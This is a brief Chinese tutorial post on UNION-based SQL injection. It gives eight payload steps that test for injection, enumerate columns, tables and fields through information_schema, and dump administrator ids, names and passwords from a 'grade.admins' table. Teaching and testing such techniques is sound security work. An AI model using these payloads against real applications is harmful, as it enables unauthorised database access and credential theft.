SQL注入之联合查询注入

≯℡__Kan透↙ 提交于 2020-02-29 09:46:40

联合查询的步骤为:

1.判断是否存在注入点。

  ‘and 1=1 #

  ‘and 1=2 #

2.判断所在的数据库有几列

  'order by 1 #

3.判断他显示的内容在数据库的第几列

  yiz' union select 1 #

4.查找当前用户权限

  yiz' union select user() #

5.查找当前数据库

  yiz' union select database() #

6.查找数据库的表名

  yiz'union select (select table_name from information_schema.tables where table_schema='grade' limit 0,1) #

7.查询数据库中表下的字段

yiz'union select (select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins')#

8.查询数据库下字段中的内容。

yiz'union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)#

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!